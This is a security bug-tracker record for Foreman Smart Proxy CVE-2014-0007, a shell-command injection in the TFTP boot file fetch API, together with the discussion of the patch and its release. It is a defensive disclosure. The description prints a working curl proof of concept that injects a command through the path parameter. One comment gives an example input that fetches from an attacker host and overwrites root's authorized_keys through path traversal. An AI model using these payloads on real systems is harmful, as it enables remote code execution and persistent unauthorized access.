Smart Proxy - Bug #6086

CVE-2014-0007 - TFTP boot file fetch API permits remote code execution

06/06/2014 08:33 AM - Dominic Cleal

Status:	Closed		
Priority:	Urgent		
Assignee:	Lukas Zapletal		
Category:	Security		
Target version:	1.4.5		
Difficulty:	easy	**Fixed in Releases:**	
Triaged:		**Found in Releases:**	
Bugzilla link:		**Red Hat JIRA:**	
Pull request:			

Description

Reported by Lukas Zapletal to the security team and assigned CVE-2014-0007.

The smart proxy's API for fetching files from installation media for TFTP boot files permits remote code execution:

```
[root@nightly ~]# curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://loca
lhost:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B'
[root@nightly ~]# ll /tmp/busted
-rw-r--r--. 1 foreman-proxy foreman-proxy 0 Jun  5 11:13 /tmp/busted
```

Associated revisions

Revision 854ab557 - 06/18/2014 08:07 AM - Greg Sutcliffe

Fixes #6086 - stop remote command execution and path exploit in TFTP API (CVE-2014-0007)

History

#1 - 06/06/2014 08:53 AM - Lukas Zapletal

- Status changed from New to Assigned

- Assignee set to Lukas Zapletal

- Difficulty set to trivial

It's my honour :-)

I guess we want shortest possible fix, which is escape_for_shell or something similar.

#2 - 06/06/2014 10:31 AM - Lukas Zapletal

- File 0001-fixes-6086-CVE-2014-0007-fixed-TFTP-boot-API-remote-.patch added

Ok here is my analysis and patch.

Foreman application calls this API with two parameters. The source is URL from which the file should be downloaded, which is easy to fix - we just need escape for shell. Destination string is in the following format:

```
boot/Operatingsystemname-X.Y-filename
```

which is usually

```
boot/RHEL-6.5-vmlinuz
```

Operating system name and major/minor version is user's input. Our constraints are:

- os name = Not blank, no whitespace
- minor, major = Must be number

This destination is then handed over to wget to download from the given URL to the destination file. To fix this bug and not to introduce possibility to overwrite arbitrary file, we must not allow an attacker to process inputs like:

```
src=http://attacker.site.com/my_keys&dst=../../../root/.ssh/authorized_keys
```

because that could lead to different issue. Therefore my patch introduces new method escape_for_filename which replaces POSIX special characters \0 and / with underscore.

The result is also filtered through escape_for_shell because it is used on the command line as well.

This patch can possibly break Foreman if user has an operating system defined with slash in the name - we should add this character to the validator.

#3 - 06/06/2014 10:36 AM - Lukas Zapletal

Created: http://projects.theforeman.org/issues/6089 (not linking the issues yet).

#4 - 06/10/2014 08:47 PM - Dominic Cleal

- Subject changed from CVE-2014-0007 - TFTP boot file fetch API permits remote code execution to EMBARGOED: CVE-2014-0007 - TFTP boot file fetch API permits remote code execution

#5 - 06/10/2014 08:54 PM - Dominic Cleal

- translation missing: en.field_release set to 16

#6 - 06/10/2014 09:04 PM - Dominic Cleal

It looks like a consequence of the API between Foreman and the proxy, but the patch has a bad effect on normal TFTP file fetch requests, as it normalises the "boot/filename" requests to "boot_filename", so the file paths won't match what we're expecting inside our PXE templates.

```
-rw-rw-r--. 1 dcleal dcleal 33383679 Nov 29  2013 /var/lib/tftpboot/boot_CentOS-6.5-x86_64-initrd.img
-rw-rw-r--. 1 dcleal dcleal  4128368 Nov 29  2013 /var/lib/tftpboot/boot_CentOS-6.5-x86_64-vmlinuz
```

#7 - 06/11/2014 02:20 PM - Lukas Zapletal

- Status changed from Assigned to Ready For Testing

Ready for review too.

#8 - 06/11/2014 06:23 PM - Dominic Cleal

- Target version changed from 1.8.2 to 1.8.1

#9 - 06/12/2014 11:05 AM - Lukas Zapletal

- File 0001-fixes-6086-CVE-2014-0007-fixed-TFTP-boot-API-remote-.patch added

- Difficulty changed from trivial to easy

Here is my second attempt. It does fix the remote execution and in addition, it does check if the resulting file is wihin the give TFTPROOT directory configurated. If not, an error is thrown:

```
$ curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'http://localhost:8443/tftp/fetch_boot_fi
le?prefix=../../tmp/test&path=http://localhost/test'
TFTP: Failed to fetch boot file: TFTP destination outside of tftproot
```

There is one other thing we need to take into account. With this patch, attacker is not able to write outside of the tftproot, but she is able to overwrite any file. There is a chance to build own image/initrd pair that would execute malicious code when a host is rebooted in build mode. The attacker needs to fit into the timeframe when image/kernel was deployed but the host was not yet booted. This timeframe is short, but there is a chance to do it (repating this API call).

One solution is to put an unique id only known to Foreman (maybe the provisioning token) to the filename. This should also prevent overwrites when multiple hosts are booting same distro. I think it is not important security issue, but if you confirm, I can create new issue for this problem and we may consider to put this on the upcoming sprints.

#10 - 06/13/2014 12:46 PM - Dominic Cleal

- translation missing: en.field_release changed from 16 to 19

#11 - 06/16/2014 09:17 AM - Dominic Cleal

Patch looks fine, but could you add some unit tests of this method please? Just stub out CommandTask and check that the 'raise' fires correctly (that's my concern).

Regarding the token etc, I think this is fine as it is, the proxy has to provide this level of access to manage and control the hosts on the network.

#12 - 06/16/2014 11:57 AM - Greg Sutcliffe

- File 0001-fixes-6086-CVE-2014-0007-fixed-TFTP-boot-API-remote-.patch added

Updated patch attached with a to_s added, as escape_for_shell cannot take direct Pathname objects, and two tests for the raise condition.

#13 - 06/16/2014 05:49 PM - Dominic Cleal

Thanks for the tests Greg - unfortunately they fail on 1.8.7 as it's using File.absolute_path, which is only available on 1.9+.

```
  1) Error:
test_paths_inside_tftp_directory_dont_raise_errors(TftpTest):
NoMethodError: undefined method `absolute_path' for File:Class
    ./lib/proxy/tftp.rb:102:in `fetch_boot_file'
    /home/dcleal/code/foreman/smart-proxy/test/tftp_test.rb:30:in `send'
    /home/dcleal/code/foreman/smart-proxy/test/tftp_test.rb:30:in `test_paths_inside_tftp_directory_dont_raise
_errors'
    /home/dcleal/.rvm/gems/ruby-1.8.7-p374@proxy/gems/mocha-1.1.0/lib/mocha/integration/test_unit/ruby_version
_186_and_above.rb:29:in `__send__'
    /home/dcleal/.rvm/gems/ruby-1.8.7-p374@proxy/gems/mocha-1.1.0/lib/mocha/integration/test_unit/ruby_version
_186_and_above.rb:29:in `run'

  2) Failure:
test_paths_outside_tftp_directory_raise_errors(TftpTest)
    [/home/dcleal/code/foreman/smart-proxy/test/tftp_test.rb:37:in `test_paths_outside_tftp_directory_raise_er
rors'
     /home/dcleal/.rvm/gems/ruby-1.8.7-p374@proxy/gems/mocha-1.1.0/lib/mocha/integration/test_unit/ruby_versio
n_186_and_above.rb:29:in `__send__'
     /home/dcleal/.rvm/gems/ruby-1.8.7-p374@proxy/gems/mocha-1.1.0/lib/mocha/integration/test_unit/ruby_versio
n_186_and_above.rb:29:in `run']:
<RuntimeError> exception expected but was
Class: <NoMethodError>
Message: <"undefined method `absolute_path' for File:Class">
---Backtrace---
./lib/proxy/tftp.rb:102:in `fetch_boot_file'
/home/dcleal/code/foreman/smart-proxy/test/tftp_test.rb:38:in `send'
/home/dcleal/code/foreman/smart-proxy/test/tftp_test.rb:38:in `test_paths_outside_tftp_directory_raise_errors'
/home/dcleal/code/foreman/smart-proxy/test/tftp_test.rb:37:in `test_paths_outside_tftp_directory_raise_errors'
/home/dcleal/.rvm/gems/ruby-1.8.7-p374@proxy/gems/mocha-1.1.0/lib/mocha/integration/test_unit/ruby_version_186
_and_above.rb:29:in `__send__'
/home/dcleal/.rvm/gems/ruby-1.8.7-p374@proxy/gems/mocha-1.1.0/lib/mocha/integration/test_unit/ruby_version_186
_and_above.rb:29:in `run'
---------------
```

#14 - 06/17/2014 10:24 AM - Greg Sutcliffe

Dominic, change the patch thus:

```
-       destination = Pathname.new(File.absolute_path(filename, SETTINGS.tftproot)).cleanpath
+       destination = Pathname.new(File.expand_path(filename, SETTINGS.tftproot)).cleanpath
```

Works for me.

#15 - 06/17/2014 01:10 PM - Dominic Cleal

- Status changed from Ready For Testing to Pending

ACK, thanks both Lukas and Greg.

#16 - 06/17/2014 06:32 PM - Lukas Zapletal

Sorry for my time off complication, this was not planned. And thank you gentlemen for finishing this.

Do we have the complete patch? We will need it for OpenStack. Thanks.

#17 - 06/18/2014 08:11 AM - Dominic Cleal

- File 0001-Fixes-6086-stop-remote-command-execution-and-path-ex.patch added

Attaching final (v4) patch, applies cleanly to 1.5 and 1.4-stable branches.

#18 - 06/18/2014 08:41 AM - Dominic Cleal

- Subject changed from EMBARGOED: CVE-2014-0007 - TFTP boot file fetch API permits remote code execution to CVE-2014-0007 - TFTP boot file fetch API permits remote code execution

- Description updated

- Private changed from Yes to No

#19 - 06/18/2014 08:52 AM - Anonymous

- Status changed from Pending to Closed

- % Done changed from 0 to 100

Applied in changeset 854ab5573df152fd20b2be5547a08b4862fb78fe.

#20 - 06/18/2014 09:09 AM - Dominic Cleal

Fixes committed to 1.4-stable, 1.5-stable and develop.

Foreman 1.4.5 and 1.5.1 releases will be made today with the fix.

Files

0001-fixes-6086-CVE-2014-0007-fixed-TFTP-boot-API-remote-.patch	1.67 KB	06/06/2014	Lukas Zapletal
0001-fixes-6086-CVE-2014-0007-fixed-TFTP-boot-API-remote-.patch	1.45 KB	06/12/2014	Lukas Zapletal
0001-fixes-6086-CVE-2014-0007-fixed-TFTP-boot-API-remote-.patch	2.5 KB	06/16/2014	Greg Sutcliffe
0001-Fixes-6086-stop-remote-command-execution-and-path-ex.patch	2.53 KB	06/18/2014	Dominic Cleal